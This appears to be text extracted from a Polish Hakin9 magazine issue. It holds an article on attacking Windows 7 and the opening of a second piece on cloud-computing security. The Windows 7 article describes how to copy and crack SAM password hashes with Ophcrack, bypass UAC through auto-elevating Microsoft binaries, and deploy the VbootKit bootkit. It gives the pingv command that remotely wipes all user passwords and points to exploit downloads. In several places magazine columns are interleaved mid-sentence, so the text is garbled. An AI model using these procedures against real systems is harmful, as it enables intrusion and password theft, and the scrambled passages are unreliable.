(odzyskiwania) haseł wszystkich użytkowników na podstawie odpowiednich wartości NT Hash. Po kilku minutach hasła poszczególnych użytkowników zostaną złamane (odzyskane). Wynik działania programu został przestawiony na Rysunku 2. Korzystając z okazji, Rysunek 1. Ophcrack Vista LiveCD złamał hasła przypomnijmy sobie użytkowników Windows 7 1/2010 HAKIN9 21 ATAK wszystkim potencjalnym hasłom. Specjalne funkcje redukujące pozwalają na zapisywanie tylko niektórych haszy przy zachowaniu niemal pełnego pokrycia wszystkich możliwości haseł. Ophcrack próbując złamać hasło, odczytuje więc jego hasz zapisany w bazie SAM, następnie odszukuje identyczny hasz we własnej bazie i odczytuje odpowiadające mu hasło. Proste i genialne. Warto w tym momencie wspomnieć jeszcze o samych tęczowych tablicach przygotowanych przez zespół tworzący program Opchrack, bo to od nich tak naprawdę zależy zakres haseł, które będziemy w stanie złamać (odzyskać). Otóż wspomniana wcześniej tablica Vista free nie może się pochwalić zbyt szerokim zakresem obsługiwanych haseł (podstawowe hasła słownikowe z wariantami). Pod adresem http: //ophcrack.sourceforge.net/tables.php dostępne są natomiast tablice o wiele bardziej obszerne. Niestety są to tablice komercyjne. ingerencji w sam system operacyjny oraz nie czekając na wynik pracy bootowalnej dystrybucji Ophcrack? Wystarczy, że intruz skopiuje plik lokalnej bazy SAM i później na spokojnie wydobędzie zawarte w niej dane. Baza SAM, tak jak w poprzednich wersjach okienek, znajduje się w pliku WINDOWS\system32\config\SAM. Najprościej będzie więc uruchomić docelowy komputer z dowolnej bootowalnej płyty lub pamięci flash i skopiować tę bazę (w trakcie pracy docelowego systemu, plik ten jest chroniony przed skopiowaniem). Intruz dysponujący plikiem SAM, będzie mógł już na spokojnie wydobyć z niego hasła lokalnych użytkowników. Wystarczy w tym celu użyć własnej instalacji programu Ophcrack i skorzystać z opcji Load/Encrypted SAM. Do poprawnego załadowania bazy SAM będzie w tym wypadku potrzebny jeszcze plik SYSTEM znajdujący się w tym samym katalogu co omówiony wcześniej plik SAM. Błędy projektowe w UAC Mechanizm Kontroli konta użytkownika – UAC (ang. User Account Control) Jak już wcześniej wspomniałem, został po raz pierwszy zaprezentowany w Windows 7 przechowuje hasła lokalnych Windows Vista. Celem tego rozwiązania użytkowników w sposób podobny do jest ostrzeganie użytkownika przed swych poprzedników, czyli w lokalnej wprowadzeniem ważnych zmian w Bazie SAM. Intruzowi chcącemu złamać systemie oraz blokowanie wykonania hasła zaszyfrowane w systemowej bazie aplikacji mogących mieć wpływ na będzie prawdopodobnie zależeć na stabilność, bądź bezpieczeństwo systemu, czasie oraz braku jakichkolwiek śladów do czasu wyrażenia przez uprawnionego jego działalności. W jaki więc sposób użytkownika świadomej zgody na ich można przechwycić wszystkie hasła bez działanie. W Windows Vista mechanizm ten w praktyce sprowadza się do znienawidzonego przez użytkowników, wyskakującego co chwilę okienka z prośbą o wyrażenie zgody na dalsze działanie. W związku z szeroką krytyką użytkowników Rysunek 2. Ophcrack złamał hasła użytkowników systemu Windows 7 Visty, Microsoft Przejęcie SAMa 22 HAKIN9 1/2010 postanowił zmienić nieco mechanizm UAC w Siódemce. Z założenia mechanizm miał się stać bardziej inteligentny i w efekcie nie nękać już użytkownika ciągłymi prośbami o potwierdzenie. W tym celu, przy domyślnych ustawieniach, część zaufanych aplikacji (podpisanych cyfrowo przez Microsoft), takich jak programy systemowe, uzyskała możliwość uzyskania uprawnień systemowych bez wyrażania dodatkowej zgody przez użytkownika poprzez UAC. W efekcie użytkownik Windows 7 nie jest już rzeczywiście nękany na każdym kroku przez Kontrolę konta użytkownika. Okazało się jednak, że takie rozwiązanie wprowadza poważną lukę w systemie zabezpieczeń Siódemki. Otóż jeśli złośliwy kod odwoła się do systemu za pośrednictwem zaufanej aplikacji, uzyska automatycznie pełne uprawnienia administracyjne! Sytuacja taka stawia więc zupełnie pod znakiem zapytania skuteczność mechanizmu UAC w Windows 7. Co więcej, Microsoft nie zamierza (a niektórzy specjaliści twierdzą, że po prostu jest to niewykonalne) w pełni załatać tej luki, twierdząc, że wynika ona z założeń projektowych. Zobaczmy więc na własne oczy, w jaki sposób dowolny kod może uzyskać uprawnienia administracyjne w Windows 7. Otóż aplikacje mogące omijać UAC zawierają w swym kodzie specjalną flagę <autoElevate>true</autoElevate>, dodatkowo ich kod musi być podpisany cyfrowo przez Microsoft. Powyższe warunki spełniał przykładowo systemowy program rundll32.exe. Jako, że program rundll32.exe umożliwia uruchomienie funkcji zawartych w innych plikach dll, otwiera to drogę twórcom złośliwego oprogramowania. Wystarczy tylko przygotować program pośredniczący oraz właściwy złośliwy kod. Zadaniem programu pośredniczącego będzie wywołanie rundll32.exe w taki sposób, by ten z kolei wywołał wykonanie właściwego złośliwego kodu. Windows 7, obsługując wywołanie rundll32.exe, automatycznie zezwoli mu na uzyskanie pełnych uprawnień systemowych. Uprawnienia te niestety odziedziczy również wywołany przez rundll32.exe złośliwy kod. Rafael Rivera Jr., specjalista HAKOWANIE WINDOWS 7 skupiający się na bezpieczeństwie systemów z rodziny Windows, opublikował na swej stronie aplikacje (wraz z kodami źródłowymi) wykorzystujące tę lukę w praktyce. Otóż dostępna na stronie http: //www.withinwindows.com/2009/02/04/ windows-7-auto-elevation-mistake-letsmalware-elevate-freely-easily/ aplikacja Catapult.exe, wykorzystuje rundll32.exe do uruchomienia funkcji WhereAmI zawartej w również udostępnionym pliku Cake.dll. Okazuje się jednak, że w finalnej wersji Windows 7 rundll32.exe został pozbawiony możliwości automatycznego uzyskania systemowych uprawnień i próba uruchomienia programu Catapult.exe powoduje jednak pojawienie się okna Kontroli konta użytkownika. Czy to jednak oznacza, że wszystkie problemy z UAC zostały już w Siódemce rozwiązane? Oczywiście, że nie! Prawdopodobnie w związku z powstaniem wspomnianych działających przykładów, program rundll32.exe został jedynie pozbawiony flagi autoElevate. Sam UAC nie został jednak zmieniony, w związku z czym mogą się pojawić ataki wykorzystujące do zdobycia uprawnień systemowych inne zaufane programy Windows. Nie trzeba było długo czekać, by pojawił się kolejny działający proof-ofconcept exploit . Mowa o dostępnym (wraz z kodami źródłowymi) pod adresem http://www.pretentiousname.com/misc/ win7_uac_whitelist2.html programie Win7Elevate. Exploit ten wykorzystuje, podobną do opisanej wcześniej, metodę DLL Injection, korzystając z rozmaitych uprzywilejowanych przez UAC aplikacji i procesów firmy Microsoft. Przykładowo, korzystając z procesu explorer.exe (620) udało mi się uruchomić program cmd.exe, dysponujący pełnymi prawami administracyjnymi (Rysunek 3). Mechanizm UAC, przy domyślnych ustawieniach, nie zauważał w trakcie całego procesu niczego podejrzanego. Program przetestowałem w środowisku w pełni zaktualizowanej wersji Windows 7 przeznaczonej do dystrybucji – Build 7600 RTM (ang. Release to manufacturing). Pod adresem http://www.youtube.com/ watch?v=CYNXXzKEImY można obejrzeć film prezentujący możliwości exploita. Open source Windows 7 Hacking W ostatnim czasie coraz większą karierę robią bootkity. Te specjalne rootkity są niezwykle groźne, gdyż zaczynają swe działanie zazwyczaj jeszcze przed uruchomieniem systemu operacyjnego, dzięki czemu są w stanie modyfikować funkcje systemowe. Zazwyczaj jest to możliwe poprzez ingerencję w MBR dysku twardego. Charakterystyka bootkitów sprawia, ze ich wykrycie jest niezwykle trudne lub praktycznie możliwe. W trakcie konferencji Hack In The box Security (HITB), która odbyła się w tym roku w Dubaju, Nitin Kumar oraz Vipin Kumar przedstawili ostateczny, jak się wydaje, sposób na złamanie zabezpieczeń Windows 7. Nie zagłębiając się w szczegóły (W ramce W Sieci można znaleźć szereg odnośników do informacji na ten temat, włącznie ze stroną zawierającą kompletny kod źródłowy), przyjrzyjmy się zasadzie działania VbootKita. Otóż celem tego bootkita jest dokonanie zmian w kernelu Windows 7, jednak tak by nie zaburzyć normalnej funkcjonalności systemu oraz by nie wzbudzić podejrzeń mechanizmów ochronnych kernela (takich jak PatchGuard). Działanie bootkita odbywa się jedynie w pamięci operacyjnej, żaden z plików na dysku nie jest modyfikowany. Sama zasada działania jest stosunkowo prosta. Otóż do manipulacji niskopoziomowymi operacjami dyskowymi wykorzystano przerwanie INT 13 i to wystarcza by modyfikować ładowane po kolei pliki systemowe, aż do osiągnięcia kontroli nad samym kernelem. Działanie bootkita można przedstawić w następujących krokach: • • • • • • • kod bootkita zostaje załadowany z pamięci przenośnej (np. płyty CD), za pomocą INT 13 VbootKit podpina się pod niskopoziomowe operacje dyskowe, program monitoruje wszystkie odczyty dyskowe w poszukiwaniu sygnatury świadczącej o rozruchu systemu, odnalezienie odpowiedniej sygnatury wyzwala dalszą akcję – Vbootkit odczytuje MBR i rozpoczyna proces bootowania systemu, kolejna sygnatura wykrywa z kolei proces ładowania programu bootmgr.exe, zainicjowany przez NT boot sector i wyzwala modyfikację bootmgr.exe, dzięki temu VbootKit przejmuje kontrolę zanim sterowanie zostanie przekazane programowi bootmgr.exe, VbootKit modyfikuje program bootmgr.exe i oddaje mu z powrotem sterowanie, Rysunek 3. Win7Elevate w akcji – eskalacja uprawnień programu cmd.exe 1/2010 HAKIN9 23 ATAK • • • • • • VbootKit modyfikuje winload.exe zanim ten przejmie sterowanie od bootmgr.exe, winload w pełni ufa programowi bootmgr wobec czego kontynuuje normalny rozruch systemu, VbootKit przejmuje ponownie kontrolę na chwilę zanim winload odda sterowanie do kernela, wykonana zostaje relokacja vbootkita do niewykorzystywanych obszarów pamięci kernela, następnie za pomocą funkcji StartFirstUserProcess alokowany zostaje nowy obszar pamięci, w który relokowany jest ponownie VbootKit, powyższy krok pozwala na przywrócenie kernela do pierwotnej postaci oraz uruchomienie właściwej funkcjonalności VbootKita (podpięcie się pod systemowe żądania PING, instalacja keyloggera w systemie i inne). Na ilustracji (Rysunek 4) można prześledzić cały proces instalacji bootkita w systemie. W efekcie swej obecności w systemie, VbootKit udostępnia zdalnym klientom komunikację poprzez prosty protokół wykorzystujący pakiety PING. Zdalna komunikacja z bootkitem odbywa się wg modelu żądanie – odpowiedź. W efekcie, końcowy użytkownik programu VbootKit otrzymuje następujące narzędzia umożliwiające naruszanie bezpieczeństwa zarażonego systemu Windows 7: • • • zdalny keylogger, narzędzie do eskalacji systemowych uprawnień, procedurę usuwania haseł, broniących dostępu do kont lokalnych użytkowników. ���� ��� ����������� ���������������� Jednym słowem program zajmujący dosłownie 3 KB może pozwolić crackerowi na przejęcie całkowitej kontroli nad najnowszym systemem Windows. Jeśli chodzi o samą obsługę bootkita, jest ona stosunkowo prosta. Należy docelową maszynę zbootować ze specjalnie przygotowanej płyty. Następnie za pomocą klienta pingv możemy zdalnie kontrolować zachowanie bootkita. Składnia poleceń programu pingv jest następująca pingv HostNameOrIPAddress CommandByte CommandData. Przykładowo, polecenie: pingv nazwa_lub_ adres_IP_celu 4 spowoduje wyzerowanie haseł wszystkich użytkowników w docelowym systemie. Bootkit ten oferuje więc niesamowite możliwości ingerencji w mechanizmy bezpieczeństwa nowego Windowsa, do tego pozwala potencjalnemu intruzowi na zdalne sterowanie wszystkimi swymi funkcjami. Jedynym pocieszeniem jest w tym momencie fakt, że nie istnieje możliwość zdalnego wprowadzenia programu VbootKit do systemu operacyjnego. Ze względu na to, że w celu zarażenia wymagane jest fizyczne uruchomienie komputera ze specjalnie przygotowanego nośnika, możemy się jeszcze czuć w miarę bezpiecznie. Jednak kto wie, może przy okazji zbliżających się świąt, crackerzy będą przesyłać nam tradycyjną pocztą płyty CD zawierające rzekomo niegroźne kolędy, zachęcając nas do odtworzenia ich w naszym komputerze pracującym pod kontrolą Siódemki? Należy również pamiętać, że ponieważ VbootKit nie modyfikuje żadnego pliku na dysku, ponowne uruchomienie komputera (bez pośrednictwa spreparowanego nośnika) spowoduje przywrócenie systemu ������������������ �� ���� ������ ����������� ������������������� Rysunek 4. Schemat procesu zagnieżdżania się programu VbootKit w systemie Windows 7 (ilustracja pochodzi z prezentacji stworzonej przez autorów programu VbootKit 2.0) 24 HAKIN9 1/2010 operacyjnego do jego w pełni prawidłowej postaci. Z całą pewnością o programie VbootKit można powiedzieć o wiele więcej, wyczerpanie tego tematu nie jest jednak celem niniejszego artykułu, poświęconego przecież wielu różnym metodom naruszania zabezpieczeń nowego Windowsa. Wszystkich zainteresowanych tym niezwykle ciekawym tematem odsyłam do ramki W Sieci, w której zawarłem adresy wielu bardzo ciekawych stron poświęconych programowi VbootKit. Można tam znaleźć między innymi oryginalne materiały opublikowane przez autorów (wraz z kodami źródłowymi oraz gotowymi plikami ISO oraz EXE), filmy demonstrujące działanie programu VbootKit oraz bardzo szczegółowe opisy: zasady działania, protokołu komunikacyjnego pingv oraz obsługi samego programu. Przyszłe zagrożenia czekają na swych odkrywców Typowy microsoftofob powie po prostu, że systemy z rodziny Windows nigdy nie były i nie będą bezpieczne. Ja natomiast twierdzę, że dowolny system operacyjny składający się z milionów linii kodu źródłowego nie może nie zawierać dziesiątek luk, w tym wielu krytycznych związanych z bezpieczeństwem. Z pewnością więc, co jakiś czas będziemy świadkami odkrycia nowego błędu w Windows 7, otwierającego kolejną drogę do naruszenia jego bezpieczeństwa. Jeszcze przed premierą Siódemki, byliśmy już świadkami tego rodzaju zdarzeń. Przykładowo we wrześniu pojawił się exploit przeznaczony dla luki Zero Day (CVE-2009-3103) wykrytej między innymi w Windows 7. Przyczyną problemu był błąd w obsłudze protokołu SMB 2.0. Odpowiednio spreparowane nagłówki SMB zawierające żądanie ustanowienia dialektu komunikacji (NEGOTIATE PROTOCOL REQUEST ) mogą spowodować, że systemowy sterownik SRV2.SYS awaryjnie kończy pracę. Ze względu na uprzywilejowaną pozycję tego drivera oraz zależności innych komponentów systemu od jego funkcjonowania, awaria oznacza wystąpienie systemowego błędu PAGE_ FAULT_IN_NONPAGED_AREA i wyświetlenie niebieskiego ekranu śmierci. HAKOWANIE WINDOWS 7 Potencjalny cracker może więc wykorzystać wspomniany exploit do zdalnego sparaliżowania pracy systemu. Warunkiem udanego ataku jest włączona obsługa współdzielenia plików z użyciem SMB oraz sieciowa osiągalność ofiary. Nieco ponad miesiąc od wykrycia wspomnianej luki upłynął, zanim Microsoft opublikował stosowną poprawkę. Do tego czasu gigant z Redmond opublikował jedynie zalecenia pozwalające na zminimalizowanie ryzyka. Opisana sytuacja pokazuje więc jasno, że Windows 7, wzorem jego starszych braci, będzie prawdopodobnie przez cały swój żywot nękany doniesieniami o odkryciu kolejnych luk w jego kodzie źródłowym. Z pewnością powstanie więc wiele kolejnych metod na naruszenie mechanizmów obronnych Siódemki. W tym wypadku bezpieczeństwo będzie zależało więc od szybkości reakcji firmy Microsoft (szybkość wydania odpowiednich poprawek) oraz od samych użytkowników, którzy muszą te poprawki w swoim systemie zainstalować. Gdzie diabeł nie może... ...tam (dziurawą) aplikację pośle. Jeśli nawet założymy, że nie uda się odkryć żadnych błędów krytycznych w systemie Windows 7, które pozwalałyby crackerom na zdalne dostanie się do systemu, Siódemka i tak nie będzie nigdy bezpieczna. System operacyjny ogólnego przeznaczenia, współpracujący z niezliczoną ilością sterowników oraz oprogramowania dostarczonego przez firmy trzecie, po prostu nie może być bezpieczny. Jeśli zdeterminowanemu crackerowi nie uda się włamać do Siódemki korzystając bezpośrednio ze słabości systemu operacyjnego, zawsze będzie mógł wykorzystać słabości pracujących pod jego kontrolą aplikacji oraz usług. Statystyki dotyczące komputerowych przestępstw nie pozostawiają żadnych wątpliwości. Coraz mniej ataków wykorzystuje błędy w samym systemie operacyjnym, rośnie natomiast liczba ataków skierowanych w pracujące pod jego kontrolą aplikacje i usługi. W dziedzinie liczby krytycznych luk odkrywanych w aplikacjach użytkowych od dłuższego czasu przoduje firma Adobe. Jeśli więc cracker nie będzie w stanie złamać naszej Siódemki, prawdopodobnie spróbuje wykorzystać naszą przeglądarkę internetową lub przeglądarkę plików PDF. Rośnie również zainteresowanie komputerowych przestępców procesami aktualizacyjnymi aplikacji. Intensywnie rozwijane są więc narzędzia takie jak ISR-evilgrade oraz Ippon. Programy te W Sieci • • • • • • • • • • • • • • • http://hcsl.pl/ – Hard Core Security Lab, http://www.idg.pl/news/351050/Nadchodzi.128.bitowy.Windows.8.i.Windows.9.html – Nadchodzi 128-bitowy Windows 8 i Windows 9?, http://ophcrack.sourceforge.net/ – Free Windows password cracker, http://blogs.zdnet.com/igeneration/?p=1826/ – Windows 7 UAC flaw, http://blogs.msdn.com/e7/archive/2009/02/05/update-on-uac.aspx – Update on UAC flaw, http://www.withinwindows.com/2009/02/04/windows-7-auto-elevation-mistake-lets-malwareelevate-freely-easily/ – Windows 7 auto-elevation mistake, http://www.withinwindows.com/2009/01/30/malware-can-turn-off-uac-in-windows-7-bydesign-says-microsoft/ – Malware can turn off UAC in Windows 7, http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/ – Sacrificing security for usability: UAC security flaw in Windows 7 beta, http://www.youtube.com/watch?v=CYNXXzKEImY – Windows 7 UAC flaw, http://www.heise-online.pl/newsticker/news/item/System-UAC-w-Windows-7-jeszcze-bardziejdziurawy-770969.html – System UAC w Windows 7 jeszcze bardziej dziurawy, http://www.pretentiousname.com/misc/win7_uac_whitelist2.html – Windows 7 UAC whitelist, http://www.tomshardware.com/news/Windows-7-Hacked-controlled,7619.html – Windows 7 Can Be Hacked, No Fix, http://conference.hitb.org/hitbsecconf2009dubai/materials/D2T2%20-%20Vipin%20and%20 Nitin%20Kumar%20-%20vbootkit%202.0.pdf – VBootKit 2.0 - Attacking Windows 7 via Boot Sectors, http://www.nvlabs.in/ – VbootKit 2.0 download and presentation, http://securityreason.com/polish/podatnosc/6425 – (SMB2.0) Remote Command Execution. pozwalają na daleko idącą ingerencję w ręczne lub automatyczne mechanizmy aktualizacji wielu popularnych aplikacji i w konsekwencji instalację dowolnego kodu w docelowym systemie. Cracker chcący złamać Windows 7, zawsze będzie więc dysponował wieloma alternatywnymi drogami wiodącymi do naszego systemu. Podsumowanie Podsumowując powyższe rozważania należy stwierdzić, że najnowszy system giganta z Redmond jest systemem... stosunkowo bezpiecznym (sic!). Co prawda, jeszcze przed premierą istnieje już szereg mechanizmów oraz narzędzi pozwalających na złamanie zabezpieczeń Siódemki, należy jednak zauważyć, że przestawione zagrożenia nie są wcale bardzo poważne! Przede wszystkim wróćmy uwagę, że nie istnieje obecnie żadna powszechnie znana metoda na zdalne przejęcie kontroli nad nowym Windowsem. Praktycznie wszystkie przedstawione metody łamania zabezpieczeń, wymagają fizycznego kontaktu intruza z docelowym systemem, co minimalizuje zagrożenie. Należy również podkreślić, że Microsoft w trakcie prac nad kolejnymi wersjami rozwojowymi Siódemki brał pod uwagę krytyczne uwagi dotyczące zabezpieczeń tego systemu. Przykład stanowić mogą chociażby zmiany w mechanizmie UAC, wprowadzone po opublikowaniu działających dowodów na możliwość wykorzystania przez złośliwe oprogramowanie przywilejów systemowego programu rundll32.exe. Jeszcze przed premierą Microsoft opublikował również za pomocą mechanizmu Windows Update szereg innych poprawek związanych z bezpieczeństwem, co daje nadzieję, że w przeciwieństwie do swego poprzednika, Windows 7 będzie dobrze przygotowany do stosunkowo bezpiecznej pracy natychmiast po swej premierze. Wojciech Smol Autor jest absolwentem wydziału Automatyki, Elektroniki i Informatyki Politechniki Śląskiej w Gliwicach. Ukończył studia na kierunku informatyka, o specjalności Bazy danych, sieci i systemy komputerowe. Pracuje jako administrator sieci i systemów komputerowych w firmie Mostostal Zabrze Holding S.A. Kontakt z autorem: [email protected] lub [email protected]. Strona domowa autora: http://hcsl.pl/. 1/2010 HAKIN9 25 ATAK MARCIN KOSEDOWSKI Bezpiecznie jak w chmurach Stopień trudności Nie uciekniemy od Cloud computingu. Dostawcy usług przywiążą nas do siebie, po czym zaopiekują się naszymi danymi. Nie nastąpi to w tym roku ani kolejnym, ale trend jest jasny – coraz więcej danych i obliczeń będzie rozproszonych w Sieci. To się po prostu opłaca. H acker zamknięty w ciemnym pokoju wykorzystuje swój terminal, aby uzyskać dostęp do mocy obliczeniowej serwera. Przełamanie zabezpieczeń nie było proste, ale opłacalne – zwykły użytkownik nie ma dostępu do zasobów zgromadzonych w sieci. Wspomnienia z początku lat 80. XX wieku? Nie – bliska przyszłość. Jak działa chmura? Z ARTYKUŁU DOWIESZ SIĘ czy twoje dane są bezpieczne i dlaczego nie, dlaczego uzależnisz się od bezprzewodowego Internetu, dlaczego script kiddies muszą odejść i kto ich zastąpi. CO POWINIENEŚ WIEDZIEĆ mieć podstawową wiedzę o procesach produkcyjnych, mieć ogólne pojęcie typowych atakach. 26 HAKIN9 1/2010 Modny ostatnio termin cloud computing (przetwarzanie w chmurze) oznacza sposób udostępniania zasobów i usług przez Sieć. Idea polega na stworzeniu abstrakcji prezentującej użytkownikowi wynik działania lub zasób bez konieczności wnikania w działanie oprogramowania i sprzętu oraz ich kupowania. Główne zalety tego rozwiązania to wysoka skalowalność i rozłożenie kosztów zarządzania systemem w czasie. Zyskują zarówno użytkownicy indywidualni (wykorzystując usługi takie jak poczta przez webmaile), małe firmy, które nie muszą inwestować w drogi sprzęt i obsługę techniczną oraz korporacje, które mogą praktycznie natychmiast uzyskać większą ilość zasobów. Najlepszym przykładem wykorzystania cloud computingu jest właśnie dostęp do e-maila przez interfejs na stronie WWW. Użytkownik, korzystając z dowolnej przeglądarki i urządzenia (np. telefonu), ma dostęp do swojego konta. Wszystkie dane składowane są na dyskach usługodawcy, a obliczenia wykonują połączone w sieć i współpracujące ze sobą serwery. Dzięki temu komputer użytkownika nie musi mieć dużej mocy obliczeniowej niezbędnej np. do przefiltrowania kilku tysięcy e-maili. Serwery zrobią to szybciej niż telefon. Urządzenie odbiorcze musi tylko pobrać i wyświetlić dane oraz komunikować się z serwerem – służy wyłącznie jako terminal. Na tej samej zasadzie działają arkusze kalkulacyjne dostępne online i inne aplikacje wymagające dużej mocy obliczeniowej. Idea nie jest nowa. Dokładnie tak samo działały pierwsze komputery dostępne dla zwykłych użytkowników. Mainframe znajdował się na uczelni lub w siedzibie firmy, a pracownicy łączyli się z nim z powolnych, ale stosunkowo tanich terminali. Zmienił się tylko sposób dostępu do zasobów – teraz zamiast jednego serwera wykorzystuje się całą ich sieć, która dla użytkownika jest jedynie abstrakcyjnym pojęciem, a jej fizyczna realizacja nie ma znaczenia (stąd słowo cloud; computing oznacza oczywiście obliczenia). Sposób prezentacji danych i wygodę użytkowania poprawiają nowoczesne techniki, takie jak AJAX. Płatność za usługę SaaS (Service as a Software) to model dystrybucji oprogramowania, w którym programy działają na serwerze, a użytkownikom – za pośrednictwem Internetu – udostępniany jest jedynie wynik działania aplikacji. Płatności zwykle odbywają się w rocznych lub miesięcznych cyklach, a w razie potrzeby można dokupić lepszy CLOUD COMPUTING pakiet usług, więcej miejsca na dysku czy dodatkową moc obliczeniową. Rozwiązanie to jest wygodne dla dostawcy i odbiorców. Właściciel oprogramowania nie naraża się na nielegalne kopiowanie programów, otrzymuje stałą miesięczną opłatę i przywiązuje do siebie użytkownika. Klient nie musi płacić za całe oprogramowanie od razu, może w dowolnym momencie zmienić zakres usług (np. jeśli kupił ich zbyt dużo lub nagle postanowi czasowo rozszerzyć działalność). Dla małych firm i osób prywatnych ważna jest także obsługa serwerów przez doświadczonych administratorów i lepszy sprzęt. Powierzenie swoich danych, zwłaszcza jeśli są to informacje kluczowe dla firmy, wiąże się jednak z ryzykiem. Obecnie technologia jest bardzo młoda i nie ma regulacji w świadczeniu usług backupu czy dostarczania oprogramowania wykorzystując cloud computing, ani tym bardziej płatności za efekt, a nie aplikację. Rynek rozwija się jednak szybciej niż zakładano, a analitycy z organizacji Gartner twierdzą, że w ciągu pięciu lat jego wartość przekroczy 150 mld dolarów. W tym czasie firmy same zadbają o stworzenie odpowiednich certyfikatów bezpieczeństwa i edukację użytkowników, ale dzisiaj nie wszyscy dostrzegają ryzyko. Mniejsze firmy, które chcą za kilkaset złotych rocznie mieć dostęp do umieszczonego w chmurze dysku (a właściwie dysków, w dodatku często wirtualizowanych – patrz ramka) nie zawsze wiedzą, że ich dane mogą zostać wykradzione, chociażby przez nieuczciwego dostawcę. Praktycznie nie ma dnia bez doniesień o wycieku lub utracie danych. Korzystanie z usług w chmurze oznacza duże zaufanie do dostawcy. Główną kwestią jest wybór i zaufanie odpowiedniej firmie – mówi Łukasz Żur z firmy Infrastruktura24 oferującej backup z wykorzystaniem cloud computingu i modelu SaaS. Wysyłając dane w chmurę spodziewamy się, że zajmą się nimi profesjonaliści, których zatrudnienie byłoby dla nas zbyt dużym kosztem. Z jednej strony jest to bezpieczne rozwiązanie, ale z drugiej naraża dane np. na odczytanie przez nieuczciwego dostawcę. Dane są co prawda szyfrowane, ale jego sposoby są różne. Spotkać można zarówno sytuacje, w których posiadaczem klucza szyfrującego jest dostawca usługi(!), aż po zaawansowane sposoby szyfrowania, w których pełną kontrolę przejmuje użytkownik. Przechowywanie kopii klucza przez usługodawcę gwarantuje nam, że nie zostanie usunięty jeśli np. przechowywany byłby na tym samym komputerze lokalnym, który uległ awarii – w takim przypadku zaszyfrowany backup na nic by się nie zdał. Nieuczciwy dostawca mógłby jednak zażądać opłaty za odszyfrowanie danych. Takie sytuacje mogą zdarzać się właśnie teraz, kiedy rynek dopiero się kształtuje, a cloud computing – zwłaszcza w Polsce – jest stosunkowo rzadko spotykany. Bezpiecznie jak w banku? Badania przeprowadzone przez kadrę naukową Politechniki Wrocławskiej oraz firmę Supersafe w 2008 roku pokazują, że zaledwie 8% z 470 przebadanych małych i średnich firm chroni ważne informacje Rysunek 1. Antywirus online wykorzystuje chmurę obliczeniową dostawcy, ale dostaje pełen dostęp do danych. Ilu użytkowników przeczyta umowę? Rysunek 2. Narzędzia do backupu online to niepozorne programy, które dają dostęp do nowoczesnych centrów danych za stosunkowo małe pieniądze 1/2010 HAKIN9 27 ATAK wykorzystując do tego celu backup online. 1/3 ze wszystkich firm odczuła bolesne konsekwencje związane z utratą cennych informacji. W jednym przypadku na cztery było to związane z awarią sprzętu komputerowego lub nieumyślnym usunięciem danych przez pracownika. Poza backupem popularne obecnie rozwiązania wykorzystujące cloud computing to dostęp do pakietów biurowych, poczty i antywirusów. Klasyczne czytniki zostały prawie całkowicie wyparte przez webmaile. Thunderbird czy Outlook potrafią skutecznie spowolnić starsze komputery, a uruchomienie najnowszego Office'a jest na nich prawie niemożliwe. Użytkownik bez zastanowienia wybiera więc Google Docs, przechowuje pocztę na serwerze i daje pełen dostęp do swojego komputera antywirusowi online. Jak przekonują eksperci, bardzo wiele zależy w tym przypadku od reputacji firmy, której powierzamy własne dane. Odbiorcy usługi nie zawsze wiedzą jak dokładnie działa technologia chmur obliczeniowych i ufają w tym względzie dostawcy. Jeden błąd lub wyciek danych z takiej firmy może mieć kluczowy wpływ na jej pozycję na rynku, więc należy zakładać, że duzi dostawcy będą starali się utrzymać wysoki poziom bezpieczeństwa. Z drugiej strony, w razie ewentualnego wycieku danych lub ataku cyberprzestępców mogą pokusić się o utajnienie tego faktu przed opinią publiczną. W podobny sposób działają banki i duże serwisy internetowe, które starają się nie informować o ataku, gdyż mogłoby to doprowadzić do spadku reputacji w oczach klientów. Należy zdawać sobie sprawę, że ukrywanie informacji o wycieku danych lub ataku na klientów i infrastrukturę ma też wady. Głównym zagrożeniem jest to, że wielkie firmy będą próbowały zbagatelizować sprawę zapewniając użytkowników, że ich dane są bezpieczne. Podobne sytuacje miały miejsce wielokrotnie. Wspomnieć można chociażby ubiegłoroczny wyciek bazy danych 100000 użytkowników serwisu społecznościowego Wykop.pl. Jego właściciele przez kilka tygodni nie ujawnili informacji o tym, że hasła nie są już bezpieczne, a po znalezieniu sprawcy poinformowały, że wszystkie ukradzione kopie bazy zostały odzyskane. Brzmi to niepoważnie, bo w jaki sposób sprawdzić ile razy skopiowano dane? Mimo to użytkownicy poczuli się bezpieczni – do sprawy włączyła się przecież policja, a administracja wysyłała komunikaty o postępach. Większość tego typu sytuacji, zwłaszcza, jeśli dotyczą ważniejszych danych niż hasło do serwisu społecznościowego, nigdy nie zostaje ujawniona. Uwaga na terminale Nie tylko zachowanie w sytuacjach kryzysowych, ale również same ataki będą analogiczne jak w przypadku banków. Dużo łatwiej jest zaatakować pojedynczego klienta niż dobrze chronione centrum danych, ale różnica w korzyściach jest równie znacząca. Za kilka lat, kiedy cloud computing rozwinie skrzydła, po stronie Rysunek 3. Z cloud computingiem nieodłącznie wiąże się wirtualizacja. Na zrzucie Windows XP, SUSE Linux i Windows 7 uruchomione na wspólnej fizycznej maszynie 28 HAKIN9 1/2010 użytkownika będziemy mieli netbooka, tani komputer lub telefon, na których główne oprogramowanie stanowi system operacyjny i przeglądarka. Pakiet biurowy, klienta poczty i inne programy przeniesiono w chmurę, wykorzystywany jest również dysk online od dostawcy usług. Nietrudno domyślić się, co będzie celem ataku. Wydawałoby się, że system powinien być w tym przypadku wyjątkowo bezpieczny. Niestety tak nie jest. W tanich netbookach, potencjalnie najbardziej potrzebujących wsparcia chmury, cały czas masowo instaluje się leciwego już Windowsa XP. Microsoft zastrzegł nawet, że na komputerach mobilnych wyposażonych w mniej niż 1GB RAM-u nie będzie instalowana Vista ani Windows 7. Dla zwykłego użytkownika nie jest to najlepsze rozwiązanie – domyślnie skonfigurowana Vista zapewni większe bezpieczeństwo niż standardowy Windows XP bez service packów. Jeszcze gorzej może wyglądać sytuacja gdy Microsoft przestanie wspierać ten system i nie będzie już wypuszczał łat na wykryte luki. Bez wsparcia ze strony Microsoftu użytkownik będzie po prostu wystawiony na działanie cyberprzestępców. Dotyczy to również starszych komputerów z Windowsem 2000 czy 98, które cały czas można spotkać na starych komputerach. Na pierwszy rzut oka są oni sami sobie winni, gdyż nie instalują poprawek i korzystają ze starego oprogramowania. Komputer takiego użytkownika może jednak stać się stacją docelową do zdobycia cenniejszych zasobów chmury, które przeznaczone były dla większej liczby osób. Nietrudno wyobrazić sobie Rysunek 4. Chmura obliczeniowa 